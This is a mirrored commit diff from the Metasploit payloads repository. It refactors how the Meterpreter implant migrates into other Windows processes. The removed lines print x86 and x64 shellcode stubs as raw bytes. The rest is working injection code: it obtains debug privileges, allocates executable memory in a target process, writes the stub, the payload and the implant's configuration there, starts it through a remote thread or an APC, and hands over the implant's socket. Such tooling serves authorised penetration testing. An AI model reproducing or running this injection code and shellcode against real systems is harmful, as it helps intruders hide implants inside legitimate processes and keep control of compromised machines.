mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-18 15:14:10 +01:00
Land #155, Move migration stub to MSF
This commit is contained in:
commit
a43afa7139
c/meterpreter/source
common
server/win
@ -31,7 +31,7 @@ remote_request_core_migrate(Remote *remote, Packet *packet)
|
|||||||
// Get the target process architecture to inject into
|
// Get the target process architecture to inject into
|
||||||
l.arch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
l.arch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
||||||
// Get the length of the library buffer
|
// Get the length of the library buffer
|
||||||
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
|
||||||
// Receive the actual migration library buffer
|
// Receive the actual migration library buffer
|
||||||
l.data = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
l.data = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||||
// Get the library entry point
|
// Get the library entry point
|
||||||
|
@ -2,63 +2,19 @@
|
|||||||
#include "base_inject.h"
|
#include "base_inject.h"
|
||||||
#include "../../../config.h"
|
#include "../../../config.h"
|
||||||
|
|
||||||
// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm'
|
DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer)
|
||||||
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
|
|
||||||
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
|
|
||||||
"\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
|
||||||
"\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C"
|
|
||||||
"\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B"
|
|
||||||
"\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0"
|
|
||||||
"\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24"
|
|
||||||
"\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01"
|
|
||||||
"\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51"
|
|
||||||
"\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68"
|
|
||||||
"\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00"
|
|
||||||
"\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E"
|
|
||||||
"\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF"
|
|
||||||
"\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
|
||||||
|
|
||||||
// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm'
|
|
||||||
BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8"
|
|
||||||
"\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48"
|
|
||||||
"\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48"
|
|
||||||
"\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C"
|
|
||||||
"\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52"
|
|
||||||
"\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B"
|
|
||||||
"\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48"
|
|
||||||
"\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34"
|
|
||||||
"\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41"
|
|
||||||
"\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8"
|
|
||||||
"\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40"
|
|
||||||
"\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E"
|
|
||||||
"\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0"
|
|
||||||
"\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77"
|
|
||||||
"\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0"
|
|
||||||
"\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07"
|
|
||||||
"\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5"
|
|
||||||
"\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02"
|
|
||||||
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
|
|
||||||
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
|
||||||
|
|
||||||
// We force 64bit algnment for HANDLES and POINTERS in order
|
|
||||||
// to be cross compatable between x86 and x64 migration.
|
|
||||||
typedef struct _MIGRATECONTEXT
|
|
||||||
{
|
{
|
||||||
union
|
*contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATCONTEXT));
|
||||||
|
|
||||||
|
if (*contextBuffer == NULL)
|
||||||
{
|
{
|
||||||
HANDLE hEvent;
|
return ERROR_OUTOFMEMORY;
|
||||||
BYTE bPadding1[8];
|
}
|
||||||
} e;
|
|
||||||
|
|
||||||
union
|
*contextSize = sizeof(COMMONMIGRATCONTEXT);
|
||||||
{
|
|
||||||
LPBYTE lpPayload;
|
|
||||||
BYTE bPadding2[8];
|
|
||||||
} p;
|
|
||||||
|
|
||||||
WSAPROTOCOL_INFO info;
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
|
||||||
|
|
||||||
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
|
DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer)
|
||||||
{
|
{
|
||||||
@ -527,7 +483,8 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
|||||||
LPVOID lpMigrateStub = NULL;
|
LPVOID lpMigrateStub = NULL;
|
||||||
LPBYTE lpMemory = NULL;
|
LPBYTE lpMemory = NULL;
|
||||||
LPBYTE lpUuid = NULL;
|
LPBYTE lpUuid = NULL;
|
||||||
MIGRATECONTEXT ctx = { 0 };
|
LPCOMMONMIGRATECONTEXT ctx = NULL;
|
||||||
|
DWORD ctxSize = 0;
|
||||||
DWORD dwMigrateStubLength = 0;
|
DWORD dwMigrateStubLength = 0;
|
||||||
DWORD dwPayloadLength = 0;
|
DWORD dwPayloadLength = 0;
|
||||||
DWORD dwProcessID = 0;
|
DWORD dwProcessID = 0;
|
||||||
@ -552,7 +509,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
|||||||
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
||||||
|
|
||||||
// Get the length of the payload buffer
|
// Get the length of the payload buffer
|
||||||
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);
|
||||||
|
|
||||||
// Receive the actual migration payload buffer
|
// Receive the actual migration payload buffer
|
||||||
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||||
@ -560,6 +517,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
|||||||
// Get handles to the updated UUIDs if they're there
|
// Get handles to the updated UUIDs if they're there
|
||||||
lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);
|
lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);
|
||||||
|
|
||||||
|
// Get the migrate stub information
|
||||||
|
dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
|
||||||
|
lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);
|
||||||
|
|
||||||
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
|
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
|
||||||
|
|
||||||
// If we can, get SeDebugPrivilege...
|
// If we can, get SeDebugPrivilege...
|
||||||
@ -593,13 +554,19 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
|||||||
remote->config_create(remote, lpUuid, &config, &configSize);
|
remote->config_create(remote, lpUuid, &config, &configSize);
|
||||||
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
|
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
|
||||||
|
|
||||||
if (config->session.comms_fd)
|
if (remote->transport->get_migrate_context != NULL)
|
||||||
{
|
{
|
||||||
// Duplicate the socket for the target process if we are SSL based
|
dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx);
|
||||||
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
|
}
|
||||||
{
|
else
|
||||||
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
|
{
|
||||||
}
|
dwResult = get_migrate_context(&ctxSize, &ctx);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwResult != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create a notification event that we'll use to know when it's safe to exit
|
// Create a notification event that we'll use to know when it's safe to exit
|
||||||
@ -607,71 +574,57 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
|||||||
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||||
if (!hEvent)
|
if (!hEvent)
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
|
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Duplicate the event handle for the target process
|
// Duplicate the event handle for the target process
|
||||||
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
|
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get the architecture specific process migration stub...
|
dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);
|
||||||
if (dwDestinationArch == PROCESS_ARCH_X86)
|
|
||||||
{
|
|
||||||
lpMigrateStub = (LPVOID)&migrate_stub_x86;
|
|
||||||
dwMigrateStubLength = sizeof(migrate_stub_x86);
|
|
||||||
}
|
|
||||||
else if (dwDestinationArch == PROCESS_ARCH_X64)
|
|
||||||
{
|
|
||||||
lpMigrateStub = (LPVOID)&migrate_stub_x64;
|
|
||||||
dwMigrateStubLength = sizeof(migrate_stub_x64);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
SetLastError(ERROR_BAD_ENVIRONMENT);
|
|
||||||
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Allocate memory for the migrate stub, context, payload and configuration block
|
// Allocate memory for the migrate stub, context, payload and configuration block
|
||||||
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
if (!lpMemory)
|
if (!lpMemory)
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
|
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Calculate the address of the payload...
|
// Calculate the address of the payload...
|
||||||
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);
|
ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;
|
||||||
|
|
||||||
// Write the migrate stub to memory...
|
// Write the migrate stub to memory...
|
||||||
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
|
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
|
||||||
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
|
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
|
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write the migrate context to memory...
|
// Write the migrate context to memory...
|
||||||
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
|
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
|
||||||
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
|
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
|
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write the migrate payload to memory...
|
// Write the migrate payload to memory...
|
||||||
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
|
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
|
||||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
|
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
|
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
// finally write the configuration stub
|
// finally write the configuration stub
|
||||||
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
|
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
|
||||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
|
if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
|
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
free(ctx);
|
||||||
|
|
||||||
// First we try to migrate by directly creating a remote thread in the target process
|
// First we try to migrate by directly creating a remote thread in the target process
|
||||||
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||||
{
|
{
|
||||||
@ -680,7 +633,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
|||||||
// If that fails we can try to migrate via a queued APC in the target process
|
// If that fails we can try to migrate via a queued APC in the target process
|
||||||
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
|
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -75,4 +75,21 @@ typedef struct _MetsrvConfig
|
|||||||
// \x00
|
// \x00
|
||||||
} MetsrvConfig;
|
} MetsrvConfig;
|
||||||
|
|
||||||
|
// We force 64bit alignment for HANDLES and POINTERS in order
|
||||||
|
// to be cross compatible between x86 and x64 migration.
|
||||||
|
typedef struct _COMMONMIGRATECONTEXT
|
||||||
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
|
HANDLE hEvent;
|
||||||
|
BYTE bPadding1[8];
|
||||||
|
} e;
|
||||||
|
|
||||||
|
union
|
||||||
|
{
|
||||||
|
LPBYTE lpPayload;
|
||||||
|
BYTE bPadding2[8];
|
||||||
|
} p;
|
||||||
|
} COMMONMIGRATCONTEXT, * LPCOMMONMIGRATECONTEXT;
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
@ -136,13 +136,15 @@ typedef enum
|
|||||||
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string).
|
||||||
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string).
|
||||||
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer).
|
||||||
TLV_TYPE_MIGRATE_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer).
|
||||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string).
|
||||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture.
|
||||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int).
|
||||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int).
|
||||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int).
|
||||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string)
|
||||||
|
TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint).
|
||||||
|
TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string).
|
||||||
|
|
||||||
// Transport switching
|
// Transport switching
|
||||||
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to.
|
||||||
|
@ -39,6 +39,7 @@ typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
|
|||||||
typedef BOOL(*PTransportInit)(Transport* transport);
|
typedef BOOL(*PTransportInit)(Transport* transport);
|
||||||
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
typedef BOOL(*PTransportDeinit)(Transport* transport);
|
||||||
typedef void(*PTransportDestroy)(Transport* transport);
|
typedef void(*PTransportDestroy)(Transport* transport);
|
||||||
|
typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
|
||||||
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
|
||||||
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
|
||||||
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
|
typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
|
||||||
@ -242,6 +243,7 @@ typedef struct _Transport
|
|||||||
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
||||||
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
||||||
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
||||||
|
PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific.
|
||||||
STRTYPE url; ///! Full URL describing the comms in use.
|
STRTYPE url; ///! Full URL describing the comms in use.
|
||||||
VOID* ctx; ///! Pointer to the type-specific transport context;
|
VOID* ctx; ///! Pointer to the type-specific transport context;
|
||||||
TimeoutSettings timeouts; ///! Container for the timeout settings.
|
TimeoutSettings timeouts; ///! Container for the timeout settings.
|
||||||
|
@ -5,6 +5,13 @@
|
|||||||
#include "../../common/common.h"
|
#include "../../common/common.h"
|
||||||
#include <ws2tcpip.h>
|
#include <ws2tcpip.h>
|
||||||
|
|
||||||
|
// TCP-transport specific migration stub.
|
||||||
|
typedef struct _TCPMIGRATECONTEXT
|
||||||
|
{
|
||||||
|
COMMONMIGRATCONTEXT common;
|
||||||
|
WSAPROTOCOL_INFOA info;
|
||||||
|
} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT;
|
||||||
|
|
||||||
// These fields aren't defined unless the SDK version is set to something old enough.
|
// These fields aren't defined unless the SDK version is set to something old enough.
|
||||||
// So we define them here instead of dancing with SDK versions, allowing us to move on
|
// So we define them here instead of dancing with SDK versions, allowing us to move on
|
||||||
// and still support older versions of Windows.
|
// and still support older versions of Windows.
|
||||||
@ -1155,6 +1162,37 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Create a migration context that is specific to this transport type.
|
||||||
|
* @param transport Transport data to create the configuration from.
|
||||||
|
* @param targetProcessId ID of the process that we will be migrating into.
|
||||||
|
* @param targetProcessHandle Handle to the target process.
|
||||||
|
* @param contextSize Buffer that will receive the size of the generated context.
|
||||||
|
* @param contextBufer Buffer that will receive the generated context.
|
||||||
|
* @return Indication of success or failure.
|
||||||
|
*/
|
||||||
|
static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer)
|
||||||
|
{
|
||||||
|
LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT));
|
||||||
|
|
||||||
|
if (ctx == NULL)
|
||||||
|
{
|
||||||
|
return ERROR_OUTOFMEMORY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Duplicate the socket for the target process if we are SSL based
|
||||||
|
if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR)
|
||||||
|
{
|
||||||
|
free(ctx);
|
||||||
|
return WSAGetLastError();
|
||||||
|
}
|
||||||
|
|
||||||
|
*contextSize = sizeof(TCPMIGRATECONTEXT);
|
||||||
|
*contextBuffer = (PBYTE)ctx;
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
/*!
|
/*!
|
||||||
* @brief Creates a new TCP transport instance.
|
* @brief Creates a new TCP transport instance.
|
||||||
* @param config The TCP configuration block.
|
* @param config The TCP configuration block.
|
||||||
@ -1184,6 +1222,7 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config)
|
|||||||
transport->get_socket = transport_get_socket_tcp;
|
transport->get_socket = transport_get_socket_tcp;
|
||||||
transport->ctx = ctx;
|
transport->ctx = ctx;
|
||||||
transport->comms_last_packet = current_unix_timestamp();
|
transport->comms_last_packet = current_unix_timestamp();
|
||||||
|
transport->get_migrate_context = get_migrate_context_tcp;
|
||||||
|
|
||||||
return transport;
|
return transport;
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user